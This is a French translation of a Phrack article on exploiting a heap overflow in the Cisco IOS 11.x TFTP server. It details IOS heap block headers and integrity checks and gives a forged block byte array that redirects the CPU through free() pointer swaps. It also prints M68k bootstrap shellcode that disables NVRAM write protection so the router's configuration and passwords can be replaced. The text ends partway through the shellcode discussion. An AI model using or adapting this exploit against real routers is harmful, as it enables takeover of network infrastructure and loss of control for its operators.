Burning the bridge: Cisco IOS exploits

                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3c, Phile #0x07 of 0x10

|=-------------=[ Burning the bridge: Cisco IOS exploits ]=--------------=|
|=--------------------------------------------------------------------------------=|
|=----------------=[ FX of Phenoelit <fx@phenoelit.de> ]=----------------=|

--[ Sommaire

  1 - Introduction et restrictions
  2 - Indentification d'un debordement de tampon
  3 - Extraits de la disposition de la memoire de IOS
  4 - Un exploit free() se materialise
  5 - Ecrire des (shel)codes pour IOS
  6 - Tout ce qui n'a pas ete dit precedemment

--[ 1 - Introduction et restrictions

Cet article est fait pour introduire le lecteur / la lectrice dans le monde
sympathique des exploits sur les routeurs concus par Cisco Systems. Ce
n'est pas le texte ultime sur le sujet et il ne reflete que les resultats
de nos recherches.

Selon Cisco Systems, a peu pres 85% de tous les trous dans le
software sont le resultat direct ou indirect de corruptions de
memoire. Au moment de l'ecriture de cet article, votre serviteur n'est
n'a pas connaissance d'un seul cas ou deborder quoique se soit dans
Cisco IOS mene a une reecriture directe d'une adresse de retour.
Bien qu'il y ait des choses commes des piles dans IOS, il semble
tres peu commun pour les coders de IOS d'utiliser les tampons locaux
des fonctions. Par consequent, la plupart (sinon tous) les overflows
que nous rencontrerons sont quelque part bases sur les heap.

Comme a l'habitude de dire un collegue chercheur, les bugs ne sont pas
une ressource illimitee. Specialement les bugs de debordement de
tampon dans Cisco IOS, qui sont relativement rares et pas faciles
compares aux autres. Cet article limitera de ce fait la discussion a
un bug en particulier : l'overflow du nom de fichier sur le serveur
TFTP de Cisco IOS. Quand vous utilisez votre routeur comme serveur
TFTP pour fichiers dans le systeme de fichier flash, une requete TFTP
GET avec un long nom de fichier (700 caracteres) va causer un crash du
routeur. Cela arrive dans toutes les versions de IOS depuis 11.1
jusqu'a 11.3. Le lecteur / la lectrice pourrait crier que ceci n'est
plus une branche tres utilisee, mais votre serviteur vous demande de
mettre ca au clair avec lui a la fin de cet article.

Les resultats de recherches et les methodes presentees ici furent
collectees au cours de tentatives d'inspection et d'exploitation en
utilisant le bug TFTP deja mentionne. Au cours de cet article,
d'autres bugs sont recherches et differantes approches sont testees,
mais la procedure presentee ici est encore jugee comme la plus
prometteuse pour un usage etendu. En d'autres termes : utilisez votre
overflow private dans Cisco IOS et testez-le.

--[ 2 - Identification d'un overflow

Alors que le lecteur / la lectrice est probablement habitue(e) a
identifier un smash dans la pile en une fraction de secondes sur un
systeme d'exploitation d'usage courant [NDT : mais oui, bien sur :],
il / elle pourrait avoir des difficultes a identifier un overflow dans
IOS. Comme votre serviteur l'a deja mentionne, la plupart des
overflows sont bases sur des heaps overflows. Il existe deux moyens
differants dans IOS pour identifier un heap overflow quand il
arrive. Etant connecte(e) a une console, le lecteur / la lectrice voit
une sortie comme ca : 

01:14:16: %SYS-3-OVERRUN: Block overrun at 2C01E14 (red zone 41414141)
-Traceback= 80CCC46 80CE776 80CF1BA 80CF300
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
  20E3ADC,80CA1D8   20DFBE0,80CA1D8   20CF4FC,80CA1D8   20C851C,80CA1D8
  20C6F20,80CA1D8   20B43FC,80CA1D8   20AE130,80CA1D8   2075214,80CA1D8
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
  20651E0,80CA1D8   205EF04,80CA1D8   205B338,80CA1D8   205AB80,80CA1D8
  20AFCF8,80CA1C6   205A664,80CA1D8   20AC56C,80CA1C6   20B1A88,80CA1C6
01:14:16: %SYS-6-BLKINFO: Corrupted redzone blk 2C01E14, words 382,
  alloc 80ABBFC, InUse, dealloc 206E2F0, rfcnt 1

Dans ce cas, un processus IOS appele "Check heaps", de qui nous
entendrons beacoup parler un peu plus tard, a identifie un probleme
dans les structures heap. Apres avoir fait cela, "Check heaps" causera
ce que nous appellerons un crash logiciel force. Ca signifie que le
procesus kill le Cisco et le fait rebooter pour se debarasser du
probleme.  Nous connaissons tous/toutes ce comportement de la part des
utilisateurs de systemes bases sur MS-DOS ou Windows. Ce qui se passe
est qu'un A-Strip a reecrit une borne entre deux blocs memoires de
heap. Ceci est protege par ce que Cisco appelle une "ZONE ROUGE", qui
en fait n'est qu'un [canary] statique.

L'autre moyen par lequel peut se manifester un heap overflow dans
votre console est une violation d'acces :

*** BUS ERROR ***
access address = 0x5f227998
program counter = 0x80ad45a
status register = 0x2700
vbr at time of exception = 0x4000000
special status word = 0x0045
faulted cycle was a longword read

C'est le cas quand vous etes chanceux/chanseuse et la moitie du
travail est deja faite. IOS a utilise une valeur que vous avez d'une
maniere ou d'une autre influencee et referencee a une memoire non
lisible. Malheureusement, ces overflows sont plus tard plus
difficiles a exploiter, car le tracage est beaucoup plus difficile.

A ce moment, vous devriez essayer de calculer dans quelles
circonstances exactes l'overflows est arrive - comme pour la plupart
des auters bugs que vous trouvez. Si la limite inferieure de la taille
de votre tampon change, essayez de vous assurer que vous ne jouez pas
avec la console ou des conections telnet (1) vers le routeur durant
les tests. Le mieux est de toujours tester la longueur du tampon avec
un routeur qui vient juste d'etre redemarre. Alors que cela ne change
pas grand chose pour les autres overflows, certains reagissent
differemment quand le systeme est fraichement reboote par rapport a un
systeme en cours d'utilisation.

--[ 3 - Extraits de la disposition de la memoire de IOS

Pour aller plus loin avec l'overflow, nous devons regarder comment IOS
organise la memoire. Il y a a la base deux zones principales dans IOS
: la memoire du processus et la memoire IO. La seconde est utilisee
pour les tampons de paquets, les tampons de ring d'interface et ainsi
de suite et peut etre interessante pour l'exploitation mais le fournit
pas certaines des choses cruciales que nous recherchons. D'autre part,
la memoire processus se comporte en grande partie comme la meoire heap
dynamique de GNU/Linux.

La memoire dans IOS est divisee en blocs. Il semble qu'il y ait la un
nombre de tables de pointeurs et de meta structures qui ont un rapport
avec les blocs de memoire et assurent que IOS puisse y acceder de
maniere efficace. Mais a la fin de la journee, les blocs sont tous
tenus ensembles dans une structure liste linkee et entroposee leur
information de gestion en grande partie sur une ligne. Ceci signifie
que tout bloc memoire possede un en-tete, qui contient l'information a
propos du bloc, son predecesseur et le suivant dans la liste.

     +--------------+
 .-- | Block A      | <-.
 |   +--------------+   |
 +-> | Block B      | --+
     +--------------+
     | Block C      |
     +--------------+

La commande "show memory processor" ["montrer la memoire du processeur"]
montre clairement la structure liste linkee.

Un bloc memoire en lui-meme se compose de l'en-tete avec toute
l'information de gestion sur une ligne, la partie donnee ou la donnee
actuelle est entreposee et la zone rouge, que nous avons deja rencontree.
Le format est comme suit :

 |<-  32 bit  ->|        Commentaires
 +--------------+
 | MAGIC        |        Valeur statique 0xAB1234CD
 +--------------+
 | PID          |        ID du process IOS
 +--------------+
 | Alloc Check  |	 Zone que le processus utilise d'allocatiuon
 +--------------+          pour ses verifications
 | Alloc name   |        Pointeur vers une chaine avec le nom du processus
 +--------------+
 | Alloc PC     |	 Code de l'adresse qui a alloue ce bloc
 +--------------+
 | NEXT BLOCK   |        Pointeur vers le bloc suivant
 +--------------+
 | PREV BLOCK   |        Pointer vers le bloc precedant
 +--------------+
 | BLOCK SIZE   |        Taille du bloc (MSB marque "in use")
 +--------------+
 | Reference #  |        Compteur reference (encore ???)
 +--------------+
 | Last Deallc  |	 Adresse de la derniere de-allocation
 +--------------+
 |   DATA       |
 |              |
 ....
 |              |
 +--------------+
 | RED ZONE     |        Valeur statique 0xFD0110DF
 +--------------+

Au cas ou ce loc memoire est utilise, le champ taille aura sont bit le
plus significatif mit a un. La taille est representee en mots (2 octets),
et n'inclut pas le chapeau du bloc. Le champ compteur reference est
evidemment destine a garder une trace du nombre de processus qui utilisent
ce bloc, mais votre serviteur n'a jamais vu ceci etre autre chose que 1
ou 0. Donc, il ne semble pas y avoir de verification en place pour ce
champ.

Dans le cas ou le bloc memoire n'est pas utilise, quelques donnee de
gestion supplementaires sont presentees au poit ou les donnees reelles
etaient entreposees auparavant :

 | [BLOCK HEAD] |
 +--------------+
 | MAGIC2       |        Valeur statique 0xDEADBEEF
 +--------------+
 | Somestuff    |
 +--------------+
 | PADDING      |
 +--------------+
 | PADDING      |
 +--------------+
 | FREE NEXT    |        Pointeur vers le prochain bloc libre
 +--------------+
 | FREE PREV    |        Pointeur vers le precedent bloc libre
 +--------------+
 |              |
 ....
 |              |
 +--------------+
 | RED ZONE     |        Valeur statique 0xFD0110DF
 +--------------+

Par consequent, un bloc libre est un element de deux listes linkees
differantes : une pour les blocs en general (libre ou non), une autre pour
la liste des blocs memoire libres. Dans ce cas le compteur reference sera
zero et le MSB du champ taille n'est pas defini. De plus, si un bloc etait
utilise au moins une fois, la partie donnees du bloc serait remplie avec
0x0D0D0D0D. IOS aujourd'hui reecrit le bloc data quand un free() prend
place pour eviter aux sorties software de tomber des mains.

A ce moment, votre serviteur aimerait revenir au sujet du processus
"Check heaps". Ca sert a tourner environ une minute et verifie la double
liste linkee de blocs. A la base ca les parcourt de haut en bas pour voir
si tout va bien. Les tests employes semblent etre plutot vastes compares
aux systemes d'exploitations communs comme GNU/Linux. Autant que votre
serviteur le sache, voici ce que ca verifie :
	1) Le bloc est-il avec MAGIC (0xAB1234CD)?
	2) Si le bloc est en cours d'utilisation (MSB est mis dans le
	   champ taille), verifier si la zone rouge est la et contient
	   0xFD0110DF.
	3) Le pointeur PREV est-il non NULL ?
	4) Si il existe un pointeur NEXT ...
	4.1) Pointe-t-il juste apres la fin de ce bloc ?
	4.2) Le pointeur PREV dans le bloc pointe par NEXT pointe-t-il
	     vers le pointeur de ce bloc ?
	5) Si le pointeur NEXT est NULL, ce bloc termine-t-il une
	   region ou un pool [NOTE : pas sur de celui-ci]
	6) La taille a-t-elle un sens ? [Note : le test exact ici est
	   toujours inconnu]

Si l'un de ces tests n'est pas satisfait, IOS se declarera pas content et
executera un crash logiciel force. Pour certains renseigements, on peut
decouvrir quel test a failli en jetant un oeuil a la sortie console qui
dit "validblock_diagnose = 1". Le nombre indique ce qui peut etre appele
"classe de test", ou 1 signifie que le MAGIC n'etait pas correct, 3
signifie que l'adresse n'est dans aucun pool memoire, et 5 est reellement
une grappe de tests mais indique principalement que les tests aux lignes
4.1 et 4.2 ont failli.

--[ 4 - Un exploit free() se materialise

Maintenant que nous connaissons un peu la structure de la memoire,
nous prevoyons de deborder le tampon avec d'autres donnees plus
interessantes que le seul 0x41. L'idee de base est de reecrire l'entete
du prochain bloc, par ce biais fournir des donnees a IOS, et le laisser
travailler avec ces donnes dans un sens qui nous donne le controle sur
le CPU. La maniere dont ceci est realise habituellement est expliqueee
en [1]. La plus importance ici est que nous devons d'abord rendre le
"Check heaps" heureux. Malheureusement, quelques verifications sont
egalement faites quand la memoire est allouee ou liberee par un free().
Par consequent, glisser en-dessous de la limite d'une minute entre deux
"Check heaps" n'est pas une option ici.

Les plus gros problemes sont les verifications des pointeurs PREV et le
champ taille. Commoe la faille sur laquelle nous travaillons ici est un
overflow de chaine de caracteres, nous avons egalement le probleme de ne
pas pouvoir utiliser les octets 0x00. Essayons de nous occuper des
problemes que nous recontrons un par un.

Le pointeur PREV doit etre correct. Votre serviteur n'a trouve aucun
moyen d'utiliser des valeurs arbitraires ici. Le test ligne dans la
checklist en 4.2 est un serieux probleme, car il est effectue sur le bloc
que nous squattons - pas celui que nous sommes en train de deborder. Pour
illustrer la situation :

     +--------------+
     | Tete du bloc |
     ...
     | AAAAAAAAAAAA |    <--- Vous etes ici
     | AAAAAAAAAAAA |
     | AAAAAAAAAAAA |
     +--------------+
     | ZONE ROUGE   |    <--- Vos donnees ici
     +==============+
     | Tete du bloc |
     ...

Nous appellerons le bloc le bloc du haut, dont nous debordons la partie
donnees, le '"bloc hote", parce qu'a la base il "hote" nos mefaits. Pour
etre clair, nous appellerons l'en-tete du bloc reecrit le "faux bloc",
car nous allons falsifier son contenu.

Donc, lorsque le "Check heaps" ou des tests comparables pendant malloc()
et free() sont effectue sur notre bloc hote, la reecriture est deja
remarquee. Tout d'abord, nous devons concatener le [canary] de la zone
rouge a notre tampon. Si nous dedordons avec exactement le nombre d'octets
que peut tenir le tamopn et concatener le dword 0xFD0110DF de la zone
rouge, "Check heaps" ne se plaindra pas. Partant de la, c'est un joli jeu
pour le pointeur PREV - car les valeurs sont soit statiques (MAGIC) ou
totalement ignorees (PID, pointeurs d'allocations)

Supposons que nous reecrivons par dessus la ZONE ROUGE, MAGIC, PID, les
trois pointeurs Alloc, NEXT et PREV, un test effectue sur le bloc hote
aura deja declenche un crash logiciel force, car le pointeur PREV que
nous avons reecrit dans le bloc suivant ne pointe pas en retour vers le
bloc hote. Nous n'avons actuellement qu'un unique moyen de nous occuper
de ce probleme : nous crashons l'appareil. L'idee derriere ceci est que
nous le mettons dans un etat de memoire previsible. Apres un redemarrage,
la memoire est plus ou moins structuree de la meme facon. Ceci depend
egalement en amont de la memoire disponible sur l'appareil que nous
attaquons et ce n'est certainement pas une bonne solution. Quand nous
crashons l'appareil la premiere fois avec un A-Strip, nous pouvons tenter
de choper des informations de logging en dehors du reseau ou du serveur
syslog si une chose pareille est configuree. Votre serviteur est
parfaitement au courant du fait que ceci va contre toute utilisation
pratique de la technique. Pour cet article, supposons juste que vous pouvez
lire la sortie console.

A present que nous connaissons le pointeur PREV a mettre dans le bloc
falsifie, allons-y. Pour maintenant ignorer le pointeur NEXT, nous devons
nous occupper du champ taille. Le fait est qu'il sagit d'un champ de 32 bits
et nous sommes en train de faire un overflow de chaine de caracteres nous
empechant de mettre des nombres raisonnables dedans. Le nombre le plus petit
pour un bloc utilise serait 0x80010101 et pour un bloc inutilise 0x01010101.
C'est beaucoup plus que IOS en accepterait. Mais pour faire d'une longue
histoire une courte, mettre 0x7FFFFFFF dedans passera les tests de taille.
Aussi simple que cela.

Dans ce cas particulier, comme avec d'autres overflows de services de
au niveau applicatif dans IOS, notre bloc hote est l'un des derniers
blocs de la chaine. Le cas le plus simple est quand le bloc hote est
l'avant dernier bloc. Par grande chance, c'est le cas avec l'overflow
du serveur TFTP. Dans les autres cas, l'attaque associe plusieurs
en-tetes de blocs falsifies et devient d'autant plus compliquee mais
pas impossible. Mais a partir de la, la discussion est un peu plus
centree autour du bug specifique dont nous nous occupons.

Dans le deroulement d'une operation normale, IOS va allouer des blocs
pour entreposer le nom de fichier demande. Le bloc apres ca est la
memoire libre restante. Lorsque IOS en a termine avec l'operation de
TFTP, il va free() le bloc qu'il venait d'allouer. Apres, il va
decouvrir qu'il y avait deux bloc libres - l'un apres l'autre - dans
la memoire. Pour empecher la fragmentation de la memoire (un gros
probleme sur les routeurs a lourds chargements), IOS tentera d'unir
(merge) les blocs libres en un seul. Ce faisant, les pointeurs pour
les listes linkees doivent etre ajustes. Les pointeurs NEXT et PREV du
bloc du bloc precedant et du bloc suivant doivent etre ajustes pour
pointer sur chaque autre. De plus, les pointeurs dans les infos du
bloc libre FREE NEXT et FREE PREV doivent etre ajustes, donc la liste
des blocs libres n'est pas rompue.

Soudain nous avons deux operations d'echanges de pointeurs qui
pourraient vraiment nous aider. A present, nous savons que nous ne
pouvons pas choisir le pointeur dans PREV. Malgre tout, nous pouvons
choisir le pointeur dans NEXT, supposant que "Check heaps" ne fait pas
feu avant que  notre free() ait pris place, ceci ne nous autorise qu'a
ecrire le precedant pointeur a n'importe quel endroit dans la memoire
du routeur. Etant utile par lui-meme, nous ne regarderons pas plus
profond dans tout ceci mais allons sur les pointueurs FREE NEXT et
FREE PREV. Comme l'aura surement remarque le lecteur / la lectrice
avise(e), ces deux pointeurs ne sont pas valides par "Check heaps".

Ce qui fait que l'exploitation de cette situation est extremement
pratique est le fait que l'echange de pointeurs dans FREE PREV et FREE
NEXT ne compte que sur les valeurs de ces deux champs. Ce qui se passe
pendant l'operation de fusion est ceci :
	+ la valeur de FREE PREV est ecrite la ou FREE NEXT pointe
	  plus un offset de 20 octets
	+ la valeur de FREE NEXT est ecrite la ou FREE PREV pointe

La seule choses dont nous avons besoin a present est un endroit ou
ecrire un pointeur. Comme pour plein d'autres exploits bases sur les
pointeurs, nous sommes en train de chercher un sympathique endroit
statique dans la memoire pour faire ceci. Une tel endoit statique (qui
change selon l'image de IOS) est la pile processus des processus
standards charges juste apres le demarrage. Mais comment allons-nous
trouver ceci ?

Dans la liste de memoire de IOS, il y a un element appele le "tableau
des processus". C'est une liste de pointeurs - un pour chaque
processus en cours de fonctionnement dans IOS. Vous pouvez trouver sa
localisation en emettant une commande "show memory processor
allocated-process" (dont voici la sortie) :

radio#show memory processor allocating-process

          Processor memory

 Address Bytes Prev.   Next    Ref  Alloc Proc Alloc PC  What
258AD20   1504 0       258B32C   1  *Init*     20D62F0   List Elements
258B32C   3004 258AD20 258BF14   1  *Init*     20D6316   List
...
258F998   1032 258F914 258FDCC   1  *Init*     20E5108   Process Array
258FDCC   1000 258F998 25901E0   1  Load Meter 20E54BA   Process Stack
25901E0    488 258FDCC 25903F4   1  Load Meter 20E54CC   Process
25903F4    128 25901E0 25904A0   1  Load Meter 20DD1CE   Process Events

Ce "Tableau des Processus" peut etre affiche par la commande "show
memory" :

radio#show memory 0x258F998
0258F990:                   AB1234CD FFFFFFFE          +.4M...~
0258F9A0: 00000000 020E50B6 020E5108 0258FDCC  ......P6..Q..X}L
0258F9B0: 0258F928 80000206 00000001 020E1778  .Xy(...........x
0258F9C0: 00000000 00000028 02590208 025D74C0  .......(.Y...]t@
0258F9D0: 02596F3C 02598208 025A0A04 025A2F34  .Yo<.Y...Z...Z/4
0258F9E0: 025AC1FC 025BD554 025BE920 025BFD2C  .ZA|.[UT.[i .[},
0258F9F0: 025E6FF0 025E949C 025EA95C 025EC484  .^op.^...^)\.^D.
0258FA00: 025EF404 0262F628 026310DC 02632FD8  .^t..bv(.c.\.c/X
0258FA10: 02634350 02635634 0263F7A8 026418C0  .cCP.cV4.cw(.d.@
0258FA20: 026435FC 026475E0 025D7A38 026507E8  .d5|.du`.]z8.e.h
0258FA30: 026527DC 02652AF4 02657200 02657518  .e'\.e*t.er..eu.
0258FA40: 02657830 02657B48 02657E60 0269DCFC  .ex0.e{H.e~`.i\|
0258FA50: 0269EFE0 026A02C4 025DD870 00000000  .io`.j.D.]Xp....
0258FA60: 00000000 025C3358 026695EC 0266A370  .....\3X.f.l.f#p

Alors que vous voyez egalement en action le format d'en-tete de bloc
deja vu, l'information interessante commence a 0x0258F9C4. Ici, vous
trouvez le nombre de processus actuellement en cours d'execution dans
IOS. Ils sont ordonnes par leur process ID. Ce que nous cherchons est
un processus qui est execute a chaque fois en peu de temps. La raison
en est que si nous modifions quelque chose dans les structures de
donnees de processus, nous ne voulons pas que le processus soit actif
a ce moment la, donc l'endroit ou nous ecrivons par dessus est
statique. Pour cette raison, votre serviteur a pris le processus "Load
Meter", qui est la pour mesurer la charge systeme et est tue environ
toutes les 30 secondes. Chopons le PID de "Load Meter" :

radio#show processes cpu
CPU utilization for five seconds: 2%/0%; one minute: 3%; five minutes: 3%
 PID  Runtime(ms)  Invoked  uSecs    5Sec   1Min   5Min TTY Process
   1          80      1765     45   0.00%  0.00%  0.00%   0 Load Meter

Alors, a propos, ce processus a le PID 1. A present, nous verifions
l'endroit de la memoire ou pointe le "Tableau des Processus". Votre
serviteur appelle cet emplacement memoire le "l'enregistrement des
processus", car it semble contenir tout ce dont IOS a besoin de savoir
a propos des processus. Les deux premieres entrees dans
l'enregistrement sont :

radio#sh mem 0x02590208
02590200:                   0258FDF4 025901AC          .X}t.Y.,
02590210: 00001388 020E488E 00000000 00000000  ......H.........
02590220: 00000000 00000000 00000000 00000000  ................

La premiere entree dans cet enregistrement est 0x0258FDF4, qui est la
pile des processus. Vous pouvez comparer ceci a la ligne plus haut qui
dit "Load Meter" et "Pile des processus" dessus dans la sortie de
"show memory processor allocating-process". Le second element est le
pointeur de plis courant de ce processus ((0x025901AC). A partir de
maintenant il devrait donc etre clair ce pourquoi nous voulons prendre
un processus avec une faible activite. Mais, etonnamment, la meme
procedure fonctionne tres bien avec des processus plus occupes comme
"IP Input". En inspectant la localisation du pointeur de plie, nous
voyons quelque chose de tres familier :

radio#sh mem 0x025901AC
025901A0:                            025901C4              .Y.D
025901B0: 020DC478 0256CAF8 025902DE 00000000  ..Dx.VJx.Y.^....

C'est la convention classique d'appel en C : d'abord nous trouvons le
pointeur de l'ancien cadre et apres nous trouvons l'adresse de
retour. Par consequent, 0x025901B0 est l'adresse que nous ciblons pour
ecrire par dessus avec un pointeur fournit par nous.

La seule question restante est : Ou voulons-nous que l'adresse de
retour pointe ?
Comme deja mentionne, IOS ecrira par-dessus le tampon que nous sommes
en train de remplir avec des 0x0D0D0D0D quand le free() est execute -
donc ce n'est pas un bon endroit pour le code. De l'autre cote, la
section donnees du bloc falsifie est deja consideree comme propre du
point de vue de IOS, donc nous concatenons juste notre code a
l'en-tete du bloc falsifie que nous devons deja envoyer. Mais quelle
est son adresse ? Bon, comme nous devons connaitre le pointeur
precedant, nous pouvons calculer l'adresse de notre code comme offset
de celui-ci - et il semble que c'est actuellement un nombre statique
dans notre cas. Il estiste d'autres methodes avancees pour delivrer le
code a l'appareil, mais restons focalises sur celle-ci.

Le nom de fichier que nous demandons devrait a present avoir la forme
suivante :

 +--------------+
 | AAAAAAAAAAAA |
 ...
 | AAAAAAAAAAAA |
 +--------------+
 | BLOC         |
 | FALSIFIE     |
 ....
 |              |
 +--------------+
 | CODE         |
 |              |
 ....
 +--------------+

A ce stade, nous pouvons contruire le bloc falsifie en utilisant
toutes les informations que nous avons reunies :

    char                fakeblock[] =
        "\xFD\x01\x10\xDF"      // RED
        "\xAB\x12\x34\xCD"      // MAGIC
        "\xFF\xFF\xFF\xFF"      // PID
        "\x80\x81\x82\x83"      //
        "\x08\x0C\xBB\x76"      // NOM
        "\x80\x8a\x8b\x8c"      //

        "\x02\x0F\x2A\x04"      // NEXT
        "\x02\x0F\x16\x94"      // PREV

        "\x7F\xFF\xFF\xFF"      // TAILLE
        "\x01\x01\x01\x01"      //
        "\xA0\xA0\xA0\xA0"      // padding
        "\xDE\xAD\xBE\xEF"      // MAGIC2
        "\x8A\x8B\x8C\x8D"      //
        "\xFF\xFF\xFF\xFF"      // padding
        "\xFF\xFF\xFF\xFF"      // padding

        "\x02\x0F\x2A\x24"      // FREE NEXT (dans  BUFFER)
        "\x02\x59\x01\xB0"      // FREE PREV (adresse de retour de Load Meter)
        ;

Quand vous envoyez ca au Cisco, vous voyez probablement quelque chose
comme ceci :

*** EXCEPTION ***
illegal instruction interrupt
program counter = 0x20f2a24
status register = 0x2700
vbr at time of exception = 0x4000000

Cela depend de ce qui vient apres l'en-tete de votre bloc
falsifie. Bien entendu, nous n'avons pas encore fournit le code de
l'execution. Mais a cet instant, nous avons le CPU redirige vers notre
tampon.

--[ 5 - Ecrire des (shell)codes pour Cisco

Avant de pouvoir ecrire du code pour plate-forme Cisco, vous devez
decider de l'architecture processeur generale que vous attaquez. Dans
le cadre de cet article, nous nous focaliserons sur les devices de plus
bas niveau sur les CPU Motorola 68k.

A present la question est "que voulez-vous faire avec votre code sur le
systeme ?" Le plan classique du shell code pour les systemes
d'exploitation courants utilise les appels systemes ou les fonctions
de librairies pour faire des binds de ports et fournir un acces shell
a l'attaquant. Le probleme avec Cisco IOS est que nous allons avoir
beaucoup de mal a le garder en vie apres que nous ayons joue avec les
pointeurs. Ceci parce qu'au contraire des demons "normaux", nous avons
detruit la gestion de la memoire du noyau du systeme d'exploitation et
nous ne pouvons pas nous attendre a ce qu'il s'occupe du desodre que
nous lui laissons.

De plus, le design de IOS de fournit pas d'appels systemes
transparents autant que le sache votre serviteur. A cause de son
design monolitique, les choses sont liees au moment de la
compilation. Il y a peut-etre des moyens d'appeler differantes
sous-fonctions de IOS meme apres une attaque heap overflow, mais cela
semble etre une route inefficace a suivre pour l'exploitation et
ferait le processus en entier beaucoup plus instable.

L'autre moyen est de modifier la configuration du routeur et de le
redemarrer, donc il se presentera avec la nouvelle configuration que
vous avez fournie. Ceci est nettement plus simple que de tenter de
calculer les appels sytemes ou les configurations d'appels de
pile. L'idee derriere cette approche est que vous n'avez plus besoin
d'aucune fonctionnalite de IOS. A cause de cela, vous n'aurez pas a
calculer les adresses et autre information vitale a propos du
IOS. Tout ce que vous avez a savoir est quels chips NVRAM sont
utilises dans la machine et ou ils sont organises. Cela peut sembler
un moyen plus complique que d'identifier des fonctions dans une image
de IOS - mais ce ne l'est pas. Au contraire des systemes
d'exploitation courants sur les plate-formes PC, ou le nombre de
combinaisons materielles possibles et de cartographies de memoires
excede de loin le domaine du faisable, c'est l'autre moyen detourne
pour les routeurs Cisco. Vous pouvez avoir plus de dix images de IOS
sur une simple plate-forme - et ce n'est seulement qu'une branche -
mais vous avez toujours la meme disposition generale de la memoire et
les IC ne changent pas pour la plupart. La seule chose qui pourrait
changer entre deux boxes sont les modules et la taille de la memoire
disponible (RAM, NMRAM et Flash), mais cela ne nous concerne pas
beaucoup.

La memoire vive non-volatile (NVRAM) [NDT : non-volatile random access
memory] stocke dans la plupart des cas la configuration d'un routeur
Cisco. La configuration elle-meme est stockee en format texte comme
une chaine de caracteres continue dans le style de code C ou un
fichier texte et est terminee par le mot-cle 'end' et un ou plusieurs
octets 0x00. Une structure en-tete contient des information comme la
version de IOS qui a cree cette configuration, sa taille et une
checksum. Si nous remplacons la config dans la NVRAM avec la notre et
calculons correctement les nombres pour la structure en-tete, le
routeur utilisera nos adresses IP, routages, listes d'acces et (le
plus important) mots de passe la prochaine fois qu'il recharge.


Comme on peut le voir sur les cartes de la memoire [2], il y a une
(dans le pire des cas deux) adresse possible pour la NVRAM pour chaque
plate-forme. Comme la NVRAM est cartographiee dans la memoire comme
pour la plupart des chips memoire, nous pouvons y acceder avec une
simple operation de move de memoire. Par consequent, la seule chose
dont nous avons besoin pour notre "shell" code est le CPU (M68k), son
adresse et bus de donnees et la cooperation du chip de la NVRAM.

Il y a des choses a garder en memoire a propos de la NVRAM. Tout
d'abord, c'est lent en ecriture. Le chip Xicor que votre serviteur a
rencontre sur les routeurs Cisco requiert qu'apres une ecriture, les
lignes d'adresse sont gardees inchangees pour le temps dont le chip a
besoin pour ecrire les donnees. Un registre de controle signalera
quand l'operation d'ecriture est effectuee. Comme la localisation de
ce registre de controle n'est pas connue et pourrait ne pas etre la
meme pour differants types de la meme plate-forme, votre serviteur
prefere utiliser des boucles de delay pour donner au chip le temps
d'ecrire les donnees - puisque la vitesse n'est pas le probleme de
l'attaquant ici.

A present que nous savons un peu mieux ce que nous voulons faire, nous
pouvons y aller et regarder le "comment" des choses. Tout d'abord,
vous devez coder l'assembleur pour la plate-forme cible. Un fait peu
connu est que IOS est compile (au moins parfois) avec des compilateurs
GNU. Par consequent, le paquetage binutils [3] peu etre compile pour
construire du code compatible Cisco en mettant la plate-forme cible pour
que le ./configure lance avec --target=m68k-aout. Une fois termine, vous
aurez un binaire m68k-aout-as, qui peu produire votre code et un
m68k-aout-objdump pour obtenir les valeurs de code OP.

Au cas ou le lecteur / la lectrice parle couramment l'assembleur
Motorola 68000, j'aimerais m'excuser pour le mauvais style, mais votre
serviteur a grandi sous Intel.
Les guides d'optimisation et de style sont les bienvenus.
De toute facon, allons-y pour le code.

Pour un scenario d'overflow de chaine de caracteres comme celui-ci, la
voie recommandee pour un petit code est d'utiliser l'auto-modification.
Le code principal sera XOR-e avec un motif comme 0x55 ou 0xD5 pour etre
sur de n'avoir aucun octet 0x00 qui puisse apparaitre. Un code de
bootstrap decodera le code principal et lui passera l'execution. La
plate-forme Cisco 1600 avec son 68360 n'a pas le moindre probleme de
cache a nous opposer (merci a LSD de l'avoir signale), donc le seul
probleme que nous ayons est d'eviter les octets 0x00 dans le code de
bootstrap. Voici comment ca marche :

--- bootstrap.s ---
	.globl _start
_start:
        | Retire la protection en ecriture de la NVRAM.
	| La protection est le Bit 1 dans BR7 pour 0x0E000000
        move.l  #0x0FF010C2,%a1
        lsr     (%a1)

        | fixe la branche du opcode
	| 'bne decode_loop' est le OP code 0x6600 et ceci est mauvais
        lea     broken_branch+0x101(%pc),%a3
        sub.a   #0x0101,%a3
        lsr     (%a3)

        | execute le chargement factice, ou 0x01010101 est ensuite remplace
        | par la valeur de notre pointeur de pile du a l'autre cote de l'echange 
	| de pointeur
        move.l  #0x01010101,%d1

        | Obtient l'adresse du vrai code concatene plus 0x0101 pour
	| eviter les octets 0x00
        lea     xor_code+0x0101(%pc),%a2
        sub.a   #0x0101,%a2
        | prepare le registre de decodage (motif du XOR)
        move.w  #0xD5D5,%d1

decode_loop:
	| Decode notre payload principal et la config
        eor.w   %d1,(%a2)+
	| test le flag de terminaison (merci a Bine)
        cmpi.l  #0xCAFEF00D,(%a2)
broken_branch:
        | d'habitude c'est 'bne decode_loop' ou 0x6600FFF6
        .byte   0xCC,0x01,0xFF,0xF6

xor_code:

--- end bootstrap.s ---

Vous pourriez assembler le code dans un fichier objet en faisant :
linux# m68k-aout-as -m68360 -pic --pcrel -o bootstrap.o bootstrap.s

Il y a quelques choses a dire a propos du code.
D'abord il y les deux premieres instructiuons. Le CPU dont nous nous occuppons 
supporte la protection en ecriture pour les segments de memoire [4]. 
L'information a propos des segments de memoire est stockee dans des "Registres 
de Base", allant de BR0 a BR7 [BR pour "Base Registers"]. Ceuxci sont 
cartographies dans la memoire a 0x0FF00000 et suivants. Celui qui nous interesse 
(BR7) est a 0x0FF010C2. Bit0 dit au CPU si cette memoire est valide et Bit1 si 
c'est protege en ecriture, donc la seule chose que nous ayons a faire est de 
changer de position le bit le plus bas un bit a droite. Le bit de protection en 
ecriture est nettoye et le bit valide est toujours en place.


La seconde chose d'un interet leger est le code de brache cassee, mais 
l'explication dans le source devrait etre assez claire : le code OP de "BNE" est 
malheureusement 0x6600. Donc nous deplacons tout le premier mot d'un rang vers 
la droite et lorsque le code tourne, cela est corrige.

